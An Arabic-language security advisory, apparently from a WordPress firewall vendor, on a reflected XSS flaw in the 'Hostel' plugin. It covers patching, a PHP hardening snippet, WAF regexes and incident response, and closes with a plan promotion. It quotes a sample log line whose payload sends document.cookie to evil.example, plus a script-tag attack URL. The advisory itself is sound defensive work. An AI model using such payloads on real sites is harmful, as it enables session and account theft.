عاجل: XSS المنعكس في مكون ووردبريس الإضافي ‘نزل’ (≤ 1.1.6) — ما يجب على مالكي المواقع القيام به الآن

تم النشر في: 2026-04-20
بواسطة فريق أمان WP‑Firewall

العلامات: ووردبريس، ثغرة، XSS، WAF، استجابة للحوادث

الملخص: تم الكشف عن ثغرة XSS المنعكسة (CVE-2026-1838) في مكون ووردبريس الإضافي “نزل” التي تؤثر على الإصدارات حتى 1.1.6 بما في ذلك. تم تصحيح المشكلة في الإصدار 1.1.7. يمكن استغلال الثغرة دون مصادقة عبر shortcode_id المعلمة ولها درجة CVSS تبلغ 7.1. يشرح هذا المنشور المخاطر، وكيف يمكن للمهاجمين استخدامها، وكيفية اكتشاف الاستغلال، وخطوات التخفيف العملية والمحددة الأولويات — بما في ذلك قواعد WAF المدارة وشفرة PHP مؤقتة يمكنك تطبيقها على الفور.

لماذا هذا مهم (نسخة قصيرة)

• الثغرة: XSS المنعكسة عبر shortcode_id.
• تؤثر على: إصدارات مكون نزل ≤ 1.1.6.
• تم تصحيحه في: 1.1.7 — قم بالتحديث فورًا.
• CVE: CVE-2026-1838 (CVSS 7.1).
• الامتياز المطلوب: لا شيء (غير مصرح به).
• يتطلب الاستغلال تفاعل المستخدم (مثل زيارة عنوان URL مصمم أو النقر على رابط خبيث).
• التأثير: سرقة الجلسات، حقن المحتوى، التصيد، رسائل البريد العشوائي في محركات البحث، إعادة توجيه البرمجيات الضارة، واستغلال إضافي إذا تم دمجه مع أخطاء أخرى.

بصفتك مشغلي مواقع ووردبريس ومدافعين، يجب عليك التعامل مع XSS المنعكس في مكون إضافي عام كخطر عالي الاحتمالية وعالي التأثير لأن المهاجمين يمكنهم تسليحه على نطاق واسع باستخدام الهندسة الاجتماعية أو الروابط الخبيثة.

الثغرة — ملخص تقني

تنشأ XSS المنعكسة عندما يتم دمج قيمة إدخال قدمها زائر في مخرجات HTML لصفحة دون تطهير أو هروب مناسب. في هذه الحالة، يقبل المكون الإضافي shortcode_id معلمة تُستخدم لعرض المحتوى (على الأرجح عبر معالج الشيفرة القصيرة) ولكن لا يقوم بتصفية أو هروب تلك المعلمة قبل الإخراج. يقوم المهاجم بإنشاء عنوان URL أو صفحة تمرر حمولة خبيثة إلى shortcode_id. عندما يقوم الضحية بتحميل ذلك العنوان أو اتباع الرابط الخبيث، يتم تنفيذ الشيفرة في shortcode_id متصفح الضحية ضمن سياق الموقع المعرض للخطر.

الخصائص الرئيسية:

• XSS المنعكس - يتم عكس الحمولة على الفور في الاستجابة.
• غير مصادق عليه - لا يتطلب تسجيل الدخول لتفعيل الثغرة.
• الحاجة إلى تفاعل المستخدم - يجب على المهاجم خداع شخص ما (زائر / مسؤول / محرر) لفتح الرابط الخبيث أو زيارة صفحة تحتوي عليه.
• العواقب النموذجية: سرقة ملفات تعريف الارتباط للجلسة (إذا كان الموقع يستخدم ملفات تعريف الارتباط بدون HttpOnly أو إذا انتقل المهاجم إلى سرقة ملفات تعريف الارتباط عبر السكربت)، الاستيلاء على الحسابات من خلال الرموز المكشوفة، تعديل المحتوى، إعادة التوجيه غير المرئية، والاستمرارية إذا تم دمجها مع XSS المخزنة أو أقسام أخرى قابلة للكتابة.

مثال على الاستغلال (مفاهيمي)

سيتفاوت المعالج الدقيق من جانب الخادم حسب التنفيذ، لكن مثال XSS المنعكس العام يبدو كالتالي:

1. يقوم المهاجم بإنشاء هذا الرابط:
   • https://example.com/some-page/?shortcode_id=<script></script>
   • (URL encoded: shortcode_id=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E)
2. الضحية تنقر على الرابط أو تزور الصفحة.
3. يقوم المكون الإضافي بإخراج قيمة shortcode_id إلى الصفحة دون الهروب. يقوم المتصفح بتنفيذ السكربت المحقون ضمن أصل الموقع، مما يمكّن العواقب النموذجية لـ XSS.

سيستخدم المهاجمون حمولات أكثر واقعية من <script></script> - على سبيل المثال، إنشاء iframes غير مرئية، استخراج ملفات تعريف الارتباط إلى خادم بعيد، أو حقن سكربت يقوم بإصدار مكالمات AJAX لأداء إجراءات نيابة عن المستخدم.

سيناريوهات التأثير في العالم الحقيقي

• سرقة ملفات تعريف الارتباط للجلسة أو رموز المصادقة للاستيلاء على الحسابات (خصوصًا إذا كانت ملفات تعريف الارتباط ليست HttpOnly أو إذا كان بإمكان المهاجم التصعيد).
• التصيد: حقن واجهة تسجيل دخول مسؤول مزيفة لالتقاط بيانات الاعتماد.
• تشويه أو إدخال رسائل غير مرغوب فيها لتحسين محركات البحث / سكربتات تعدين العملات المشفرة.
• إنشاء إعادة توجيه إلى مواقع البرمجيات الخبيثة أو الإعلانات التي يمكن أن تؤدي إلى نشر البرمجيات الخبيثة على أجهزة الزوار.
• في سيناريوهات متعددة المواقع أو ذات الامتيازات العالية، يمكن للمهاجمين تفعيل إجراءات إدارية عبر طلبات مزورة في متصفح الضحية.

نظرًا لأن هذا غير مصادق عليه وسهل التفعيل عبر الهندسة الاجتماعية، فإن سطح الهجوم واسع.

الخطوات الفورية التي يجب عليك اتخاذها (مرتبة)

1. قم بتحديث المكون الإضافي إلى الإصدار 1.1.7 أو أحدث (التصحيح). هذه هي الإصلاح الكامل الوحيد. إذا كنت تستطيع التحديث الآن، قم بذلك على الفور.
2. إذا لم تتمكن من التحديث على الفور، قم بتطبيق تخفيف طارئ:
   • قم بتعطيل الشيفرة القصيرة أو المكون الإضافي المعرض للخطر مؤقتًا.
   • قم بتطبيق تصحيح افتراضي (قاعدة WAF) لحظر أنماط XSS الشائعة في shortcode_id.
3. خطوات تعزيز الأمان التي يمكنك تطبيقها الآن (حتى قبل تحديث المكون الإضافي):
   • أضف فلتر هروب المخرجات حول معالج الشيفرة القصيرة للمكون الإضافي (انظر مقتطف PHP أدناه).
   • نفذ أو قم بتمكين WAF وقم بتشغيل القواعد لحظر متجهات XSS المنعكسة.
   • فرض رؤوس الأمان (Content-Security-Policy، X-Content-Type-Options، X-Frame-Options، Referrer-Policy).
   • الحد من التعرض: تقليل الأذونات، تقييد صفحات الإدارة حسب IP، وحظر الطلبات المشبوهة.
4. راقب السجلات وامسح للبحث عن مؤشرات الاختراق (IoCs). انظر قسم الكشف أدناه.

إصلاح PHP سريع (تطبيقه على functions.php للثيم أو مكون إضافي صغير خاص بالموقع)

هذا تغيير دفاعي مؤقت لضمان أن أي قيمة تأتي عبر shortcode_id يتم تطهيرها قبل الإخراج. لا يحل محل تحديث المكون الإضافي - اعتبره كحل طارئ.

ملحوظة: قد يختلف اسم الشيفرة القصيرة بالضبط في مكون Hostel الإضافي. استبدل ‘hostel_shortcode’ بعلامة الشيفرة القصيرة الفعلية المستخدمة من قبل المكون الإضافي إذا كانت معروفة.

// Quick temporary hardening for reflected 'shortcode_id' parameter.
// Add to your child theme's functions.php or a site-specific plugin.

add_filter('do_shortcode_tag', 'wpf_hardening_hostel_shortcode', 10, 3);
function wpf_hardening_hostel_shortcode($output, $tag, $attr) {
    // Only act on the plugin shortcode
    if ( strtolower($tag) !== 'hostel' ) {
        return $output;
    }

    // If shortcode_id exists in GET/POST/ATTR, sanitize it to neutralize scripts
    if ( isset($_GET['shortcode_id']) ) {
        $_GET['shortcode_id'] = wp_kses( wp_unslash( $_GET['shortcode_id'] ), array() );
    }

    if ( isset($_POST['shortcode_id']) ) {
        $_POST['shortcode_id'] = wp_kses( wp_unslash( $_POST['shortcode_id'] ), array() );
    }

    // If attribute is supplied to shortcode, sanitize it as well
    if ( isset($attr['shortcode_id']) ) {
        $attr['shortcode_id'] = sanitize_text_field( $attr['shortcode_id'] );
        // Rebuild output safely — prefer escaping on output rather than trusting plugin output
        // If plugin returns output in $output, make sure it's escaped
        $output = esc_html( $output );
    }

    return $output;
}

يجبر هذا المقتطف على تطهير قوي للقيم الواردة. shortcode_id قد يكسر سلوك المكون الإضافي إذا كان المكون يتوقع HTML في تلك المعلمة؛ وهو مقصود كإجراء طارئ حتى يمكن تحديث المكون الإضافي.

استراتيجيات WAF / التصحيح الافتراضي

إذا كان لديك جدار حماية لتطبيق الويب (WAF) - مُدار أو قائم على المكون الإضافي - يمكنك تنفيذ التصحيح الافتراضي لحظر محاولات الاستغلال على الفور. سيتوقف WAF مضبوط بشكل صحيح عن الهجوم دون تعديل كود المكون الإضافي أو فقدان الوظائف.

أنماط الكشف والحظر المقترحة (أفكار عامة؛ قم بضبطها بعناية لتجنب الإيجابيات الكاذبة):

• حظر الطلبات حيث shortcode_id تحتوي على علامات سكريبت:
  • النمط: (?i)(%3C|<)\s*script\b
• حظر سمات معالج الأحداث المضمنة المرسلة في المعلمات (onerror=، onload=):
  • النمط: (?i)on\w+\s*=
• حظر pseudo‑URLs الخاصة بـ javascript:
  • النمط: (?i)javascript\s*:
• حظر VN: أحمال SVG/XSS الشائعة مثل <svg onload=...:
  • النمط: (?i)(%3C|<)\s*svg[^>]*on\w+\s*=

مثال على قاعدة ModSecurity (مفاهيمي):

# Block reflected XSS attempts in shortcode_id parameter
SecRule ARGS:shortcode_id "@rx (?i)(%3C|<)\s*(script|svg|iframe|object|embed)\b" \
    "id:1001001,rev:1,phase:2,deny,log,msg:'Reflected XSS attempt in shortcode_id parameter'"

تعبيرات منتظمة عامة لـ WAF لحظر الأحمال المشفرة:

• ريجكس: (?i)(%3C\s*script|<\s*script|%3Csvg|<svg|onerror=|onload=|javascript:)

ملحوظات:

• تجنب القواعد الواسعة جدًا التي تكسر الاستخدامات المشروعة لإدخال HTML إذا كانت موقعك يتطلب ذلك.
• حيثما أمكن، فرض القاعدة فقط على نقطة النهاية (النقاط) التي تعرض رموز المكون الإضافي.
• حظر الطلبات التي تحتوي على أحمال مشفرة مشبوهة (مشفر URL 6. غالبًا ما تستخدم لتجاوز الفلاتر الساذجة).
• تسجيل الطلبات المحظورة مع الرؤوس وأجسام الطلبات الكاملة للتحقيق في الحوادث.

إذا كنت تستخدم خدمة جدار حماية WP مُدارة (مكون إضافي أو مقدمة من الاستضافة)، تأكد من أن الحمايات تشمل:

• قاعدة تستهدف بشكل محدد shortcode_id المعلمة.
• حظر علامات السكريبت المشفرة ومعالجات الأحداث.
• توقيعات WAF مضبوطة على أشكال أحمال XSS الحديثة (URI البيانات، بروتوكولات JS الزائفة، الأحمال المشوشة).

الكشف: مؤشرات وسجلات

ابحث عن:

• الطلبات التي تحتوي على معلمات %3Cscript%3E, جافا سكريبت:, <svg onload=, عند حدوث خطأ=، إلخ.
• سلاسل الاستعلام غير العادية في سجلات الوصول تشير إلى shortcode_id.
• طلبات POST غير العادية إلى الصفحات التي تعرض الرموز القصيرة.
• محتوى جديد أو غير متوقع في الصفحات (روابط مخفية، iframes غير مرئية، سكربتات مدخلة).
• استجابات 200 مرتفعة للحمولات الضارة (سيقوم المهاجم بالتحقق حتى يتم عكس الحمولة وتنفيذها).

أين تتحقق:

• سجلات وصول خادم الويب (Apache/Nginx).
• سجلات WAF (طلبات محجوبة/مسموح بها).
• سجلات نشاط CMS (التغييرات الأخيرة على الصفحات/المشاركات).
• تغييرات نظام الملفات (ملفات PHP جديدة، قوالب معدلة).
• محتوى قاعدة البيانات (حقول post_content تحتوي على سكربتات مدخلة أو iframes).
• تحليلات لإعادة التوجيه غير العادية أو الانخفاض في تفاعل المستخدمين.

أمثلة على إدخالات السجل المشبوهة:

GET /some-page/?shortcode_id=%3Cscript%3Efetch(%27https://evil.example/p%3Fc%3D%27+document.cookie)%3C%2Fscript%3E HTTP/1.1
POST /contact/ HTTP/1.1
  Host: example.com
  Content-Type: application/x-www-form-urlencoded
  body: name=…&shortcode_id=%3Csvg%20onload%3D...

يجب التعامل مع أي من هذه الضربات على أنها محتملة الخطر والتحقيق فيها.

إذا كنت تشك في أنك تعرضت للاستغلال - استجابة فورية للحادث

1. عزل:
   • ضع الموقع في وضع الصيانة (أو قم بإيقافه إذا كان الأمر خطيرًا).
   • حظر عناوين IP الضارة المعروفة، أو تقييد الوصول مؤقتًا إلى صفحات الإدارة حسب IP.
2. الحفاظ على الأدلة:
   • التقاط سجلات الوصول، سجلات WAF، نظام ملفات الخادم، وتصديرات قاعدة البيانات.
   • تجنب الكتابة فوق السجلات؛ انسخها للتحليل.
3. تنظيف:
   • تحديث الإضافة إلى 1.1.7 (أو إزالة الإضافة) وتحديث WordPress وجميع الإضافات/القوالب الأخرى إلى أحدث الإصدارات.
   • تشغيل فحص كامل للبرامج الضارة والتحقق من سلامة الملفات.
   • ابحث عن قذائف الويب، المستخدمين الإداريين المضافين، الملفات الأساسية المعدلة، والمهام المجدولة المشبوهة.
   • استعد من نسخة احتياطية نظيفة إذا لزم الأمر.
4. استعادة وتقوية:
   • قم بتدوير جميع كلمات مرور المسؤول ومفاتيح واجهة برمجة التطبيقات.
   • إعادة تعيين أملاح وأسرار ووردبريس (في wp-config.php).
   • إلغاء وإعادة إصدار أي مفاتيح تم اختراقها.
   • إعادة الفحص بعد التنظيف ومراقبة إعادة الإصابة.
5. بعد الحادث:
   • إجراء تحليل السبب الجذري: كيف دخل المهاجم، هل تم استغلال XSS لتنفيذ إجراءات إضافية، هل تم تصيد بيانات الاعتماد؟
   • توثيق وتحسين كتيبات استجابة الحوادث.

ضوابط وتوصيات الأمان على المدى الطويل

• فرض نموذج الحد الأدنى من الامتيازات: تحديد أدوار المستخدمين لما يحتاجه كل شخص.
• تطبيق التحقق من المدخلات والهروب من المخرجات في جميع الأكواد التي تتحكم بها (استخدم esc_html(), esc_attr(), wp_kses(), ، وبيانات معدة لاستعلامات قاعدة البيانات).
• استخدم سياسة أمان المحتوى (CSP) لتقليل تأثير السكربتات المدخلة.
  • CSP صارمة مثل default-src 'self'; script-src 'self' 'nonce-...'; تساعد، لكنها تتطلب نشرًا دقيقًا.
• تفعيل علامات HttpOnly وSecure على الكوكيز؛ النظر في سمات الكوكيز SameSite لتقليل مخاطر CSRF.
• الحفاظ على سياسة تحديث الإضافات: تطبيق تصحيحات الأمان على الفور واختبارها في بيئة staging.
• تنفيذ حماية WAF مع التصحيح الافتراضي لكسب الوقت عندما تتأخر التصحيحات.
• جدولة فحص الثغرات بانتظام، ومراقبة سلامة الملفات، والنسخ الاحتياطي.
• استخدام المصادقة متعددة العوامل (MFA) لجميع حسابات الإدارة.

توقيعات WAF الموصى بها وضبطها (أمثلة عملية)

أدناه بعض أفكار التوقيع التي يمكنك تنفيذها في جدار الحماية الخاص بك أو تسليمها لمزود الاستضافة الخاص بك. هذه توضيحية ويجب تعديلها لتناسب بيئتك لتجنب الإيجابيات الكاذبة.

1. حظر علامات السكربت المشفرة في أي معلمة:
   • ريجكس: (?i)(%3C|<)\s*script\b
   • الإجراء: حظر وتسجيل.
2. سمات معالج أحداث الحظر غالبًا ما تستخدم لـ XSS:
   • ريجكس: (?i)on[a-z]{2,12}\s*=
   • الإجراء: الحظر فقط في سلسلة الاستعلام وأجسام POST.
3. حظر بروتوكولات جافا سكريبت الزائفة:
   • ريجكس: (?i)javascript\s*:
4. حظر سمات SVG/iframe المشبوهة:
   • ريجكس: (?i)(%3C|<)\s*(svg|iframe|object|embed|img)[^>]*on\w+\s*=
5. تضييق القاعدة إلى shortcode_id المعلمة:
   • فحص ARGS:shortcode_id بالنسبة للتعبيرات العادية أعلاه؛ الحظر إذا تم المطابقة.
6. تحديد معدل / تقييد الطلبات المشبوهة:
   • إذا كان عنوان IP يثير عدة محاولات محظورة، قم بتقييد أو حظر عنوان IP.
7. سجل الطلب الخام بالكامل لأي حدث محظور حتى تتمكن من تحليل الحمولة.

تأكد من تطبيق قواعدك خلال المرحلة 2 (معالجة جسم الطلب) لفحص POSTs وسلاسل الاستعلام الكبيرة.

سياسة أمان المحتوى (CSP) - اقتراح عملي

يمكن أن تقلل CSP من المخاطر حتى لو حدث XSS. ابدأ بسياسة تقرير وفرضها تدريجيًا:

1. تقرير فقط (مراقبة):

   سياسة-أمان-المحتوى-تقرير-فقط: مصدر-افتراضي 'ذاتي'; مصدر-سكريبت 'ذاتي'; تقرير-uri https://example.com/csp-report-endpoint

2. انتقل إلى سياسة مفروضة بمجرد حل السكربتات المضمنة الشرعية:

   سياسة-أمان-المحتوى: مصدر-افتراضي 'ذاتي'; مصدر-سكريبت 'ذاتي' https://trusted-cdn.example; مصدر-كائن 'لا شيء'; قاعدة-uri 'ذاتي'; أسلاف-الإطار 'لا شيء';

تذكر أن CSP يمكن أن يكسر الوظائف إذا كان موقعك يعتمد على السكربتات المضمنة. استخدم nonces أو hashes للسكربتات المضمنة المسموح بها إذا لزم الأمر.

لماذا تعتبر عملية التصحيح الافتراضية المُدارة مهمة؟

عندما لا يمكن تحديث مكون إضافي ضعيف معروف أو يوم الصفر على الفور (على سبيل المثال، بسبب اختبار التوافق/المرحلة، أو فجوات دعم البائع)، فإن التصحيح الافتراضي عبر WAF يحمي موقعك أثناء إكمال الإصلاح. التصحيح الافتراضي ليس بديلاً عن تحديث الكود، ولكنه وسيلة فعالة للتوقف المؤقت:

• يمنع محاولات الاستغلال عند المحيط.
• يشتري الوقت للتحديثات الآمنة والاختبار.
• يمكن تطبيقه مركزيًا عبر العديد من المواقع إذا كنت تدير تثبيتات متعددة لـ WordPress.

إذا قررت استخدام حماية المحيط، اختر حلاً:

• يسمح بقواعد مخصصة على مستوى المعلمات (حتى تتمكن من استهداف shortcode_id).
• يدعم كل من المطابقة المشفرة وغير المشفرة للحمولات.
• يسجل الحمولات المحجوبة مع سياق الطلب/الاستجابة الكامل للاستخدام الجنائي.

قائمة التحقق المقترحة للاستجابة (قصيرة)

• تحديث مكون Hostel الإضافي إلى 1.1.7.
• إذا لم يكن متاحًا، قم بتعطيل المكون الإضافي أو الرمز القصير على الفور.
• نشر قاعدة WAF لحظر أنماط السكربتات في shortcode_id.
• مسح الموقع للبحث عن السكربتات المدخلة وأصداف الويب.
• تغيير جميع بيانات الاعتماد والأسرار.
• تطبيق CSP ورؤوس الأمان.
• مراقبة السجلات بحثًا عن مؤشرات الاختراق والحمولات المحجوبة.
• استعادة من النسخة الاحتياطية النظيفة إذا لزم الأمر.

مثال على مؤشرات الاختراق (IoCs)

• الطلبات في سجلات الخادم التي تحتوي على shortcode_id=%3Cscript أو shortcode_id=<svg onload=
• تغييرات غير متوقعة على post_content (في قاعدة بيانات WP) بما في ذلك المدخلة 6. أو <iframe> العلامات
• تم إنشاء مستخدمين جدد للإدارة بدون تفويض
• مهام مجدولة غير معروفة (وظائف كرون) في قاعدة البيانات
• اتصالات الشبكة الصادرة إلى مجالات مشبوهة بعد محاولات استغلال تم الإبلاغ عنها

إذا وجدت أيًا من هذه، اعتبرها خطيرة واتبع خطوات استجابة الحوادث المذكورة أعلاه.

اشترك في خطة WP‑Firewall المجانية اليوم

عنوان: احمِ موقعك على الفور مع WP‑Firewall (الخطة المجانية)

إذا كنت تدير موقع WordPress، فلا تنتظر لإضافة طبقة دفاعية. توفر لك خطة WP‑Firewall الأساسية (المجانية) حماية أساسية على الفور: جدار ناري مُدار، عرض نطاق غير محدود، WAF قائم على القواعد، فحص البرمجيات الخبيثة، وتخفيف المخاطر وفقًا لأعلى 10 مخاطر من OWASP. هذا المزيج مثالي لإبطال محاولات XSS المنعكسة مثل تلك الموصوفة أعلاه أثناء تحديثك أو اختبار تغييرات المكونات الإضافية.

ابدأ مع الخطة المجانية الآن

قم بالترقية في أي وقت إلى الخطة القياسية أو المحترفة عندما تحتاج إلى تنظيف تلقائي، قوائم سوداء/بيضاء لعناوين IP، تصحيح افتراضي، وتقارير متقدمة.

كلمات أخيرة من خبراء WP‑Firewall

XSS المنعكسة في مكون إضافي متاح على نطاق واسع هي مثال كلاسيكي على أهمية الدفاعات المتعددة. التصحيح السريع ضروري، لكن الأمان الحقيقي يأتي من دمج التحديثات السريعة مع الحمايات المحيطية، والمراقبة، والاستعداد للحوادث. إذا كنت تدير موقعًا أو عدة مواقع WordPress، اعتبر هذه الحادثة كإشارة للتحقق من جرد المكونات الإضافية الخاصة بك، والأتمتة للتحديثات، وتغطية WAF.

إذا كنت بحاجة إلى مساعدة في تنفيذ مقتطف PHP لتقوية الطوارئ، أو ضبط قواعد WAF لـ shortcode_id, ، أو إجراء فحص جنائي بعد الحادث، فإن فريقنا جاهز للمساعدة. يمكنك تأمين مواقعك بسرعة مع خطة WP‑Firewall المجانية والترقية لاحقًا للحصول على تصحيح افتراضي تلقائي ودعم أعمق للحوادث.

ابق آمنًا، وقم بتصحيح الثغرات على الفور.

— فريق أمان جدار الحماية WP